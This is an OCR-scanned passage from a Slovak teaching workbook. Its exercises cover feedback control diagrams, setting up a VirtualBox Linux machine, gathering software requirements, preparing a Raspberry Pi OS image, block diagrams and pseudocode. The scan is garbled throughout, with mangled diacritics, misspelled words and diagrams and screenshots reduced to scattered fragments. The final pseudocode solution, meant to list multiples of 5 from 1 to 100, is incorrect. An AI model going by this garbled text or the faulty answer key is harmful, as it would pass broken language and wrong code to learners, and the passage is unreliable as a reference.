funkcny diagram, pozitivna spatna vazba, negativna spatna vazba
Vystup cvicenia

Nakreslite funkény diagram zaloZeny na procesoch s otvorenou slu¢kou a uzavretou sluckou.
Preskimajte néstroje na tvorbu diagramov.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B navrhnut funkénd schému zariadeni,
B identifikovat typ spatnej vazby,
B vybrat efektivny typ spatnej vazby.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B Softvér pre tvorbu diagramov:
o Draw IO —draw.io
o Gliffy — gliffy.com

Prerekvizity znalosti
Pre Uspesnu realizaciu cvienia nie su vyZadované Ziadne Specifické znalosti.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept fungovanie spatnej vazby.

3) Studenti budl pracovat samostatne a riesit zadané ulohy.

Teoreticky Uvod

Riadiace systémy s otvorenou sluc¢kou a uzavretou su dva zakladné typy riadiacich systémov. V systéme s
otvorenou sluckou regulator da pokyn, aby aktuator vykonal vopred urcenu akciu bez overenia
pozadovanych vysledkov. Riadiaci systém s uzavretou sluckou nepretrzite monitoruje vykon a
prisposobuje vstup podla potreby, aby sa dosiahol poZzadovany vysledok.
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Funkéna schéma Vam moze pomact identifikovat a pochopit komponenty riadiaceho systému. V tejto
aktivite dokoncite procesné diagramy beznych aktivit.

Realizacia cvicenia
Uloha 1

Schéma procesu pre riadiace systémy s otvorenou sluckou. Tento systém moze spracovat vstupnu
podmienku na vytvorenie vystupu. Vyplnite riadiacu jednotku a zariadenie pre kazdy proces uvedeny

nizsie.
Vstup Riadenie VvStup
—)M—) —_—
Vypinac Riadenie Zapnuté
_— > —_— 3
svetlo
Chlieb Riadenie Hrianka
R > —
Uloha 2

Schéma procesu pre riadiace systémy s uzavretou sluckou. V tomto systéme riadenia sa vystup
monitoruje tak, aby sa dosiahli poZadované vysledky procesu. Snimac v tejto funkénej schéme poskytuje
informdcie o spatnej vazbe tak, aby boli nastavené potrebné hodnoty pre riadenie akénych ¢lenov.
Vyplnte ovladac, zariadenie a snimac pre kazdy diagram uvedeny nizsie.

Riadenie Vystu
Vstup Chyba Kontrolér Lo

Rt m

v

+ A
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Pozadovana teplota
miestnosti

Vstup Chyba

Riadenie

Aktualna teplota
miestnosti

Vystup

v

Merany vystup

Pozadovana vlhkost

Vstup Chyba

Riadenie

5

Aktudlna vihkost

Vystup

v

2

Merany vystup

Otazky a ulohy na zamyslenie

1) Co moZeme pridat do funkénych diagramov vytvorenych v tlohe 1, aby sme overili &i vystupna
veli¢ina dosiahla hodnotu, aku poZzadujeme?
2) Aké iné vonkajsie podmienky by mohli mat vplyv na systém v Glohe 2? Ako by ste tieto externé

premenné zohladnili pri riadeni?

3) Vytvorte zoznam niekolkych inteligentnych produktov, ktoré su k dispozicii na reguldciu vnitornej

teploty a efektivneho vyuzivania vody?

Odporucané zdroje

[1] Pozitivna spatna vazba - https://en.wikipedia.org/wiki/Positive feedback

[2] Negativna spatna viazba - https://en.wikipedia.org/wiki/Negative feedback
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CVICENIE S04-CV2: Virtudlny poéitac a systém

Kfdéové slova

virtualizacia, VirtualBox, Linux,

Vystup cvicenia

S pomocou VirtualBoxu si pripravite virtudlny stroj s opera¢nym systémom Linux.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B vytvorit virtudlny pocitac a systém,

simulovat samostatny poditac s operacnym systémom,
spoznate operacny systém Linux.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B VirtualBox,

operacny Systémy Linux,

B fyzicky pocitac s minimalne 2GB RAM a 8GB volného disku.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

zaklady instalacie operacnych systémov,
znalost prace s prikazovym riadkom.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujicim postupom:

1)
2)

3)
4)
5)

Pripravte si potrebné obrazy operacnych sytémov pred cvicenim

Na cvi¢eni objasnite studentom, aky koncept sa bude pocas cvi¢enia preberat, aké je jeho vyuzitie
a doleZitost v praxi.

Studentom vysvetlite zakladny koncept virtualizacie.

Studentom vysvetlite postup tvorby virtudlnych strojov a ich konfiguracie.

Studenti budu pracovat samostatne a vytvarat prvé virtudlne stroje a importovat, pripadne
instalovat operacné systémy.
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Teoreticky Uvod

Pocitace svoju vypoctovu silu za poslednych 10 rokov vyrazne zvysili. Sucasné stroje ponukaju vyhodu vo
forme viacjadrovych procesorov a velkého mnoZstva paméate RAM. Tieto vykonné prostriedky je mozné
vyuzivat na virtualizaciu. S virtualizaciou moze jeden alebo viac virtualnych pocitaéov fungovat v jednom
fyzickom pocitaci.

Virtualne stroje sa ¢asto nazyvaju hostami a fyzické pocitace sa ¢asto nazyvaju hostitelia. Nové virtudlne
systémy a stroje je mozné vytvarat no vykonnom hardvéry, ktory ma dostatoéné systémové prostriedky,
podporu virtualizacie a zodpovedajlce softvérové vybavenie (napriklad VirtualBox, VmWare.)

Obrazovy subor virtualneho stroja bol vytvoreny pre instalaciu do pocitaca. Na internete je k dispozicii
velké mnozstvo obrazov virtuadlnych strojov. V tomto cviceni si vyskusate vytvorenie virtualeho pocitaca
a instaldciu operacného systému.

Na vyber mate niekolko verzii bezplatnych operacnych systémov a ich obrazov:

Ubuntu - CISCO obraz https://static-course-
assets.s3.amazonaws.com/CyberEss/files/Ubuntu_CyberEss.ova

Ubuntu loT https://www.ubuntu.com/download/iot

Ubuntu Server https://www.ubuntu.com/download/server

Linux ElementaryOS https://elementary.io/

Raspbian https://www.raspberrypi.org/downloads/raspbian/

Obrazy operaénych systémov moézete stiahnat vo formate 1SO obrazu, pripadne OVF formate. (OVF je
format urceny pre distribuciu virtualizovanych systémov).

POZNAMKA!

V niektorych cviceniach v knihe sa pouzZivaju virtualizované sytémy. Podrobnosti o virtualizacii a
virtualizovanych systémoch najdete na odkazoch uvedenych na konci tohto cvicenia.

Realizacia cvicenia
Uloha 1

Priprava virtualizovaného prostredia. Pre vytvorenie virtualizovanych strojov a sytémov potrebujete
instalator virtualizacnej aplikacie. Na trhu existuje niekolko vyrobcov tychto aplikacii. Pre ucely tohto
cvicenia pouzijeme Open-Source aplikaciu VirtualBox.

Instalacny subor je k dispozicii pod odkazom: https://www.virtualbox.org/wiki/Downloads
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Stiahnite si lubovolnu distriblciu operaéného systému. Distriblcie operaénych systémov, mézu mat aj
niekolko GB. Stiahnutie mdZe trvat aj niekolko hodin, v zavislosti od rychlosti internetového pripojenia a
geografickej lokacia servera, preto odporicame stiahnut obrazy system este pred samotnym cvicenim.

Uloha 2:

Ak chcete vytvorit novy virtualny pocita¢, musite spustit VirtualBox, na hostitelovi, na ktorom ste
nainstalovali Oracle VDI a VirtualBox

Oracle VM VirtualBox Manager

File Machine Help
{:} s ¢ 4 '--/ £} Details @) Snapshots
New Settings Start  Discard ‘

Welcome to VirtualBox!

The left part of this window is a list of all virtual machines on your computer.
The list is empty now because you haven't created any virtual machines yet.

In order to create a new virtual machine, press ‘\ . ,~‘/
the New button in the main tool bar located at the g Y \
top of the window. ’ 24
You can press the F1 key to get instant help, or '
visit www.virtualbox org for the latest information <V p

Al
and news. N /

Na paneli s nastrojmi kliknite na tlacidlo New. Sprievodca novym virtudlnym strojom sa zobrazi v novom
okne.
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Create New Virtual Machine x

Welcome to the New Virtual Machine Wizard!

This wizard will guide you through the steps that are necessary to create a
new virtual machine for VirtualBox

Use the Next button to go to the next page of the wizard and the Back
button to return to the previous page. You can also press Cancel if you
want to cancel the execution of this wizard

o

Back l Next > ‘ Cancel |

Kliknutim na tlacidlo Next sa mbzete pohybovat réznymi krokmi sprievodcu. Sprievodca Vam umoziuje
konfigurovat zdkladné detaily virtudlneho poditaca. V kroku nazov VM a typ operaéného systému zadajte
popisné meno virtuadlneho stroja do pola Nazov a z rozbalovacich zoznamov vyberte operacny systém a
verziu, ktoru chcete nainstalovat. Je dolezZité vybrat spravny operacny systém a verziu, pretoze toto
uréuje predvolené nastavenie pre VirtualBox poufZitie pre virtudlny pocitaé. Nastavenia mdzete zmenit
neskor po vytvoreni virtualneho pocitaca.

Create New Virtual Machine

VM Name and OS Type

Enter a name for the new virtual machine and select the type of the guest
operating system you plan to install onto the virtual machine

The name of the virtual machine usually indicates its software and hardware
configuration. It will be used by all VirtualBox components to identfy your
virtual machine.

Name

template-windows-7 ]

B

0S Type

9

Operating System: Microsoft Windows

<

Version: Windows 7

< Back || Next = ‘ Cancel
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V kroku Pamiat mozete jednoducho akceptovat predvolené nastavenie. Ide o mnozstvo hostitelskej
pamate (RAM), ktoru VirtualBox prideluje virtualnemu pocitacu pri jeho spusteni. Nastavenia
virtualneho pocitaca moézete zmenit neskor, ked importujete Sablénu do Oracle VDI.

V kroku virtudlneho pevného disku skontrolujte, ¢i je vybraty Startovaci disk, vyberte moznost Vytvorit
novy pevny disk a kliknite na tla¢idlo Dalej. Sprievodca vytvorenim virtualneho disku sa zobrazi v novom
okne, aby ste mohli vytvorit novy virtudlny disk.

5 Create New Virtual Machine x|
Virtual Hard Disk

If you wish you can now add a start-up disk to the new machine. You can
either create a new virtual disk or select one from the list or from another
location using the folder icon.

If you need a more complex virtual disk setup you can skip this step and
make the changes to the machine sethngs once the machine 1s created.
The recommended size of the start-up disk is 25.00 GB.

v Start-up Disk

@ Create new hard disk

Use existing hard disk

dummyvdi (Normal, 10.00 GB)

4

< Back | Next > Cancel |

V nasledujucich krokoch vyberte VDI (VirtualBox Disk Image) ako typ suboru, dynamicky pridelené
(pridelené v zavislosti od aktualne potreby ako virtualny systém vyZaduje) a akceptujte predvolené
nastavenie umiestnenia a velkosti suboru virtualneho disku. Ak poZadujete iné parametre, nastavte ich
podla pozZiadaviek. Na zaver kliknite na tlacidlo Vytvorit na vytvorenie virtualneho disku.

Po vytvoreni virtualneho disku sa Sprievodca vytvorenim virtualneho disku uzavrie a vratite sa do
hlavného menu v aplikacii Oracle VM VirtualBox Manager.
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Oracle VM VirtualBox Manager

File Machine Help

{:} ‘{‘3} C% J/ ¢33 Details | (@) Snapshots

New Seftings Start Discard :

;{5 18 General = preview
h © Name: template-windows-7

0S Type: Windows 7 f

1> ]

[#] system
Base Memory:512 M8 template-
Boot Order. Floppy, CD/DVD- windows-7

ROM, Hard Disk
Acceleration:  VT-x/AMD-V,
Nested Paging

Display

Video Memory 16 MB
Remote Desktop Server: Disabled

& Storage

IDE Contreller
IDE Secondary Master (CD/DVD): Empty
SATA Controller
SATA Port 0: template-windows-7.vdi
(Normal, 25.00 GB)

-
~ . - —

KedZe chcete na virtudlnom podcitaci nainstalovat operaény systém, musite sa uistit, Ze virtualny poditac¢
ma pristup k instalaénym médiam. Ak to chcete overit, upravite nastavenia virtualneho pocitaca. V
aplikacii Oracle VM VirtualBox Manager vyberte virtudlny stroj a potom v paneli s nastrojmi kliknite na
tlacidlo Nastavenie. Zobrazi sa okno Nastavenia. V navigacii vlavo vyberte moznost Storage.
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* template-windows-7 - Settings x
= General Storage
System B
, Storage Tree Attributes
Display

@ IDE Controller CD/DVD Drive: [IDE Secondary ! 3 -
P Audio @ Empty Live CD/DVD

@ SATA Controller

& Network Information

§$ Serial Ports template-windows-7.vdi Tpe: -

& use Size: -

@ shared Folders Location: --
Attached To: --

2 @ @ &

Select a settings category from the list on the left-hand side and move the
mouse over a settings item to get more information.

‘ ::uelp ‘anncel” ‘QK l

V sekcii Storage vyberte moznost Empty under the IDE Controller. Zobrazia sa atributy jednotky CD/DVD.
Kliknite na ikonu CD/DVD vedla rolovacieho zoznamu jednotky CD/DVD a zvolte umiestnenie
inStalacného média nasledovne:

e Ak chcete pripojit virtudlnu jednotku CD/DVD k fyzickej jednotke CD/DVD hostitela, vyberte
poloZku Host Drive <drive-name>.

e Ak chcete vloZit obrazok ISO do virtudlnej jednotky CD/DVD, vyberte polozku Vybrat stibor
virtualneho disku CD/DVD a prehliadnite obrazok ISO.

254



template-windows-7 - Settings

= General Storage

System -

@ oispl Storage Tree Altributes
isplay

@ IDE Controller CD/DVD Drive: |IDE Secondary ! 3
B Audo W

@ SATA Controller

@ Network Information

£ serial Ports & template-windows-7.vdi Type: Image

& usB Size: 291 GB

& Shared Folders Location: /misc/vm-development...
Attached To: --

- @ @ >

Select a settings category from the list on the left-hand side and move the
mouse over a settings item to get more information

: ::l_-wlp ’anncel]: ‘QK

Teraz ste pripraveni spustit virtualny pocita¢ a nainstalovat operacny systém.

V aplikacii Oracle VM VirtualBox Manager vyberte virtualny pocitac a kliknite na tlacidlo Start na paneli s
nastrojmi. Zobrazi sa nové okno, ktoré zobrazuje spustenie virtuadlneho pocitaca. V zavislosti od
operacného systému a konfiguracie virtualneho pocitaca méze VirtualBox zobrazit najprv niektoré
upozornenia. Tieto varovania je bezpecné ignorovat. Virtualny systém by mal byt spusteny

z inStalacného média.

Uloha 3:

PouZite virtudlny pocita¢ Ubuntu_CyberEss, ktory ste prave nainstalovali, aby ste mohli spracovat
cvicenia, ktoré vyZaduju predpripraveny system Ubuntu CyberEss.

Po spusteni systému sa zoznamte s aplikaciami v zozname nizsie:

¢ vyhladdvaci nastroj,

e spravca suborov,

e webovy prehliadac Firefox,

¢ libreOffice Writer, LibreOffice Calc, LibreOffice Impress,
e softvérové centrum Ubuntu,

e systémové nastavenia,

e terminal.
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Uloha 4:

Otvorte aplikaciu terminalu. Zadajte prikaz IP address pre zistenie IP adresy vasho virtualneho stroja.
Aké IP adresy su priradené Vasmu virtudlnemu pocitacu?

Vyhladajte a spustite aplikaciu webového prehliadaca. Mozete prejst na svoj oblubeny vyhladavaci
nastroj?

Stlacenim pravého klavesu Ctrl uvolnite kurzor z virtudlneho pocitaca. Teraz prejdite do ponuky v hornej
Casti okna virtualneho stroja a zvolte File> Close na zatvorenie virtualneho pocitaca. Aké si moZnosti k
dispozicii?

Kliknite na prepinac UloZit stav zariadenia a kliknite na tla¢idlo OK. Pri dalSom spusteni virtudlneho
pocitaca, budete moct pokracovat v praci v operaénom systéme v jeho sii¢asnom stave.

Otazky a ulohy na zamyslenie
1) Aké su vyhody a nevyhody pouZivania virtualneho stroja?
Odporucané zdroje

[1] Virtualbox dokumentacia - https://www.virtualbox.org/wiki/Documentation

[2] Virtualizacia - https://en.wikipedia.org/wiki/Virtualization
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CVICENIE S05-CV1: Zber poZiadaviek pre softvér

Kfucoveé slova

funkcné poziadavky, vlastnosti softvéru, prioritizacia

Vystup cvicenia

Schopnost identifikovat a zapisat poZiadavky na funkénost a vlastnosti softvéru.

Ziskané vedomosti a sklsenosti

Absolvovanim cvicenia sa naudite:

B Analyzovat, aka funkénost sa o¢akava od softvérovych aplikacii ¢i systému,
B identifikovat klicové vlastnosti a funkéné prvky softvérovej aplikacie ¢i systému,
B rozlisit dolezité a menej dblezité vlastnosti.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomaocky:

B Pisacie potreby pripadne textovy a tabulkovy editor.

Prerekvizity znalosti
Pre Uspesnu realizaciu cvienia nie su vyZadované Ziadne Specialne znalosti.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept fungovania zberu poZiadaviek.

3) Poziadajte Studentov o rozdelenie do dvoch skupin:

a. Skupina A — zadavatel, klienti, ktori pozaduju vytvorenie systému. Kazdy si premysli
situdciu alebo problém, ktory chce vyriesit pomocou novovytvoreného softvéru.

b. Skupina B — zastupca vyvojového timu, ktory zbiera poziadavky kladené na vysledny
produkt. Ulohou je ziskanie a neformalny zépis (v prirodzenom jazyku) poZziadaviek
ziskanych od zadavatela.

4) Nasledne vytvorte mensie skupiny Studentov, zo Studenta zo skupiny A so Studentom zo skupiny
B. Poziadajte ich o ziskanie a neformalny zapis poZiadaviek na konkrétnu softvérovu aplikaciu.
5) Poziadajte skupiny o spisanie pozZiadaviek na konkrétnu softvérovu aplikaciu.
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Teoreticky Uvod

V praxi existuje mnoho moznosti pre riesSenie redlnych problémov pomocou softvéru. Velkym
problémom je, Ze zadavatel — ten, kto potrebuje problém vyriesit, ¢asto nedokaze spravne pomenovat
a definovat vlastnosti a funkcionalitu, aké by mal jeho pozadovany softvér obsahovat. Nedokaze si
takyto softvér sam (ani s pomocou internych zamestnancov) vytvorit. Preto oslovi externt firmu alebo
programatora — jednotlivca (tzv. freelancer).

Realizacia cvicenia

Studentov rozdelte do skupin. Zadavatelom projektov (€len skupiny A) ponuknite pre indpiraciu niektoré
z oblasti:

e |ogistika — sledovanie vozidiel, sprava skladu,

e zadkaznicky servis — evidenény systém cakarne v banke, poistovni, u lekara, na policii oddelenie
dokladov,

e e-shop —automatizacia spracovania objednavok, emailovy news-letter, chat-bot.

.....

ziskanie maximalne detailnych informacii.

Co sa chce dosiahnut novym softvérom?

Kto je pouzivatelom systému?

Aké typy Udajov je potrebné spracovavat?

Ako sa budu tieto udaje spracovavat?

Je potrebné Udaje uchovavat?

Aky je pohlad na zabezpecenie aplikacie pred zneuzitim?
Ako rychlo musi byt dodané rieSenie?

Motivujte Studentov pre vymyslenie novych cielovych oblasti a analytickych otazok.

Otazky a ulohy na zamyslenie

1) Aky ma vplyv na definované poZiadavky ich zmena zo strany zadavatela? Ako zmenu vnima
zadavatel a ako vyvojovy tim?

2) Aka uroven analyzy a Specifikacie poZiadaviek je potrebna? V akych pripadoch su poZiadavky slabo
definované a v akych naopak prilis detailné? Aké to ma dosledky?

Odporucané zdroje
[1] What Questions Do | Ask During Requirements Elicitation?:

https://www.bridging-the-gap.com/what-questions-do-i-ask-during-requirements-elicitation/

[2] Software engineering, Sommerville, 9. Edicia, ISBN-13: 978-0133943030
[3] OnifiSystems — functional requirements:

http://www.ofnisystems.com/services/validation/functional-requirements/

258



CVICENIE SO5-CV2: Priprava operaného systému (Raspberry PI)

Kfdcové slova

operacny systém, Linux, obraz systému, Raspberry Pl

Vystup cvicenia

Pripravit Linuxovy operacény systém pre Raspberry Pi. Na konci cvi¢enia bude pripraveny funkény
operacny systém, ktory je mozné spustit na RPi v PC reZime (pripojend obrazovka, klavesnica, mys).
Ziskané vedomosti a skdsenosti

Absolvovanim cvic¢enia sa naudite:

B pripravit pamatovu kartu s bootovatelnym obrazom operaéného systému,
B nainstalovat operacény systém Linux,
B ozivit mikropocitac typu Raspberry PI.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

obraz Lnuxového operacného systému,
pamaéatovu kartu,

pocitac s operacnym systémom Windows,

ucet CISCO NetAcad (pripadne aplikaciu Rufus).

Prerekvizity znalosti
Pre Uspesnu realizaciu cvienia nie su vyZadované Ziadne Specialne znalosti.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

Studentom popiste ucely operacného systému,

z NetAcad portalu si stiahnite aplikaciu PL-App,

vysvetlite princip inStalacie operacného systému,

v kratkosti ukazte Studentom aplikaciu PL-App. Nasledne si Studenti metddou objavovania
pripravia obraz operacného systému pre instalaciu.

i

Fazy realizacie cvicenia

1) rozdelte Studentov do mensich skupin,
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2) Studenti si nainstaluju Linuxovy operacny systém na SD-kartu. Pocas procesu instalacie prejdu

nasledujucimi krokmi:
a. stiahnutie obrazu operacného systému z NetCad portalu,
b. priprava systému pre instalaciu,
c. instalacia systému,
d. spustenie systému.

Teoreticky Uvod

V suicasnej dobe existuje na trhu niekolko operacnych systémov pouzitefnych pre Raspberry Pi. V tomto
cviceni pouZijeme systém Raspbian, o je prisp6sobena distriblcia operacného systému Debian.

EPOZNA'MKA!
F EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEESR

" Podrobnosti o operacnych systémoch vid' kapitola 3.2 pripadne v odkazoch uvedenych na konci
= tohto cvicenia.

Realizacia cvicenia

Nainstalujte linuxovy operaény systém na nezavisli SD kartu. Odportca sa karta s minimalnou velkostou

8 GB.

1. Z odkazu si stiahnite predpripraveny obraz operacného systému.
http://static-course-assets.s3.amazonaws.com/Downloads/CT201/en |oTF CT2.0 PL-

App Image.zip

2. Z odkazu sa stiahnite .zip archiv, ktory je potrebné rozbalit. Vystupom bude obraz operacného
systému vo formate .img.

3. Pre vytvorenie bootovatelného systému z obrazu je potrebné stiahnut a nainstalovat PL-App
aplikaciu, ktora je dostupna v NetAcad kurze: http://static-course-
assets.s3.amazonaws.com/Downloads/CT201/PL-App Launcher.exe

4. Pripojit SD kartu k pocitacu a spustit aplikaciu PL-App launcher.

5. Spusti sa sprievodca, ktory Vas prevedie pripravou operacného systému s moznostou Headless

pristupu.
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& Cisco PL-App Launcher - i X

Setup a New Device Available Devices

0 Insert the SD card reader into the USB port and select it from the dropdown menu:

..

° Select the PL-App image file that you have downloaded from NetAcad.com:

a Create a unique Device Name and Password for the PL-App device:

o Device Name: Include your name or initials (e.g. jj-pi1984)

A Device Password: Password to access PL-App on your device
a Optional settings (connecting the device to an existing Wireless LAN):

WiFi SSID:

WiFi Password:

° Update Config Only o Write Disk Image o

Version 1.5.11

6. Po dokonéeni procesu je operacny systém pripraveny pre prvé spustenie. Nasledne staci vlozit
kartu do RaPi a zapnut zariadenie.

7. Bezpecne odpojte SD kartu z operacného systému.

« Open Devices and Printers

- Eject Mass Storage Device
- Ubuntu-Server 16.04.3 LTS amd64 (F:)
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9. Pripojte kartu do slotu na Raspberry Pi a pripojte napajanie.

10. V pripade, Ze pouzivate monitor, mali by ste na obrazovke vidiet proces bootovania operacného
systému. V opacnom pripade sa prepnite v PL-App aplikacii na druhu zalozku “Available devices”.

¢ Cisco PL-App Launcher — | %

Available Devices

Device Name Status
my-sweet-pi (192.168.1.109) m §
otheruserspi Offline ]

] Use Broadcast mDNS Add Device Name

Version 1.5.8

12. V zozname by sa po chvili malo objavit Vase zariadenie (musi byt ukonéeny proces bootovania
operacného systému).

13. Ak sa neobijavilo, zaskrtnite volbu “Use Broadcast mDNS” a pridajte svoje zariadenie do zoznamu
manualne.
14. Na detegovanu IP adresu mo6zete nasledne zrealizovat SSH pripojenie s pomocou nastroja Putty.

Otazky a ulohy na zamyslenie

1) Aky ma vplyv architektira operacného systému (x86, x64, ARM atd’) na jeho poufZitie?
2) Aké su hlavné rozdiely v linuxovych distriblciach?
3) Aky je rozdiel medzi operaénymi systémami Windows a Linux?

Odporucané zdroje

[1] Kapitola 3.2

[2] Raspbian OS: https://www.raspberrypi.org/downloads/raspbian/

[3] INSTALLING OPERATING SYSTEM IMAGES:

https://www.raspberrypi.org/documentation/installation/installing-images/
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CVICENIE S06-CV1: Blokovy diagram

Kfucoveé slova
blokovy diagram, funkcionalita aplikacie,
Vystup cvicenia

Vytvorenie blokového diagramu, ktory popisuje funkénost softvérovej aplikacie v logicky nadvazujucich
blokoch.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B analyzovat funkénost softvérovych aplikacii ¢i systému,
B definovat funkcionalitu a postupnost behu aplikacie s pomocou blokového diagramu,
B identifikovat chybné navrhy a chybajuce informacie.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomécky:

B pisacie potreby pripadne textovy a tabulkovy editor,
B technické poziadavky ziskané v cvi¢eni venovanom zberu poZiadaviek (S05-CV1).

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B Znalost prvkov blokovych diagramov.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept fungovania tvorby blokovych diagramov.

3) Studenti budu pracovat v skupinach z minulého cvi¢enia (zadavatel + analytik poZiadaviek).

4) Poziadajte Studentov o vytvorenie blokovych diagramov na zaklade poZiadaviek, ktoré definovali
v predchadzajucom cviceni (S05-CV1)

5) Rozdelte studentov do mensich skupin podobnych v minulosti.

6) Na zaklade poziadaviek z minulosti si Studenti vytvoria blokové diagramy, ktoré popisuju funkéné
Casti aplikacie.
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Teoreticky Uvod

Pred napisanim akéhokolvek kddu programator potrebuje porozumiet problému a ako sa tento problém
da vyriesit tym, Ze ho rozdeli do postupnosti krokov a rozhodnuti.

Programatori bezne nevytvaraju prvy navrh programu v Ziadnom Specifickom jazyku. Tieto jazykovo
nezavislé programy st zamerané skor na logiku, nez na syntax a ¢asto sa nazyvaju algoritmy. Vyvojovy
diagram je beiny spdsob, ako reprezentovat a pochopit algoritmus. Takyto pristup sa riesi pomocou
vyvojovych diagramov a pseudokddu.

Blokovy diagram (best practice)

1. Identifikujte cielovy systém alebo aplikaciu. Urcite systém alebo aplikaciu, ktory sa ma zobrazit
s pomocou diagramu. Definujte komponenty, vstupy a vystupy systému alebo aplikacie.

2. Vytvorte a oznacte casti diagramu. Pridajte symbol pre kazdu sucast systému a pripojte ich
pomocou Sipok na oznacenie toku. Oznacte kazdy blok tak, aby bol lahko identifikovatelny.

3. Oznacte vstup a vystup. Oznacte vstup, ktory aktivuje blok a oznacte vystup, ktory ukonci blok.

4. Overte presnost voci pozadovanej funkcionalite. Konzultujte so vSetkymi zdéastnenymi stranami,
aby ste overili presnost.

Realizacia cvicenia

termostat:

Zapnutie

termostatu

Nacitanie teploty

Teplota je <20°C

Zapnuté vykurovanie? Zapnutie vykurovania

—

A4

Vypnutie vykurovania

~
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Otazky a ulohy na zamyslenie

1) Aké su vyhody blokovych diagramov z pohladu vyvoja softvéru?
2) Aky vplyv maju chybne alebo neuplne definované poziadavky na kvalitu blokovych diagramov?

Odporucané zdroje
[1] Podkapitola 3.3

[2] Software engineering, Sommerville, 9. Edicia, ISBN-13: 978-0133943030

[3] Block diagram - https://en.wikipedia.org/wiki/Block diagram
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CVICENIE S06-CV2: Psuedokédd

Kfdcové slova

pseudokdd, neformalny zapis

Vystup cvicenia

Navrhnutie funkcionality aplikacie aplikovanim pseudokddu.

Ziskané vedomosti a sklsenosti

Absolvovanim cvic¢enia sa naudite:

B navrhnut funkcionalitu softvérovych aplikacii ¢i systému neformalnym zapisom,
B definovat funkcionalitu a postupnost behu aplikacie vyuZitim pseudokddu,
B identifikovat chybné navrhy a chybajuce informacie.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B pisacie potreby pripadne textovy editor,
B technické poziadavky ziskané v cvi¢eni venovanom zberu poZiadaviek (S05-CV1),
B blokovy diagram aplikacie (S0z-CV1).

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B znalost prvkov blokovych diagramov,
B znalost prvkov a komponent pseudokddu.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept fungovania tvorby pseudokdédu.

3) Studenti budu pracovat v skupinach z minulého cvi¢enia (zadavatel + analytik poZiadaviek).

4) Poziadajte Studentov ovytvorenie pseudokddu na zaklade poZiadaviek a blokového diagramu,
ktoré definovali v predchadzajucich cviceniach (S05-CV1, S06-CV1).

5) Rozdelte studentov do mensich skupin podobnych v minulosti.

6) Na zaklade poZiadaviek a blokovych diagramov z minulosti si Studenti navrhnu pseudokdd
aplikacie.
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Teoreticky Uvod

Pseudokdd je neformalny zapis fungovania pocitacového programu. Vyuziva konvencie bezného
programovacieho jazyka, ale je urceny pre Citanie ¢lovekom.

JIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII:

= POZNAMKA!
‘IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= Podrobnosti o pseudokdde najdete v kapitole 3.3 pripadne na odkazoch uvedenych na konci
= tohto cvicenia.

[N ]
Sy pEEEEEEEEEER

‘IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
Realizacia cviCenia
So Studentmi spracujte nasledujuce cvicenia

Uloha 1: Napiste pseudokdd, ktory ¢&ita dve ¢&isla a vynasobi ich a vytlaéi ich vysledok.

RieSenie:

Read num1, num2
Set multi to num1*num?2
Write multi

Uloha 2: Napiste pseudokdd, ktory pouZivatelovi povie, Ze zadané &islo nie je 5 alebo 6.
RieSenie:

Read isfive
If(isfive = 5)
Write "your number is 5"
Else if (isfive = 6)
Write "your number is 6"
Else
Write "your number is not 5 or 6"

Uloha 3: Napiste pseudokdd, ktory vykona nasledujuce: PoZiadajte uZivatela o zadanie &isla. Ak je &islo
medzi 0 a 10, napiste slovo modra. Ak je Cislo medzi 10 a 20, napisSte slovo Cervenad, ak je ¢islo medzi 20 a
30, napiste slovo zelena. Ak je to iné Cislo, napiste, Ze nejde o spravnu moznost farby.

RieSenie:

Write "Please enter a number"
Read colornum
If (colornum >0 and colornum <= 10)
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Write blue

else If (colornum >10 and colornum <= 20)
Write red

else If (colornum >20 and colornum <= 30)
Write green

else
Write "not a correct color option"

Uloha 4: Napiste pseudokdd pre vypis vietkych nasobkov 5, ktoré sa nachadzaju medzi ¢islami 1 a 100
(vratane obidvoch cisel 1 a 100).

RieSenie:

Setxtol
While(x < 20)
write x
X =x*5
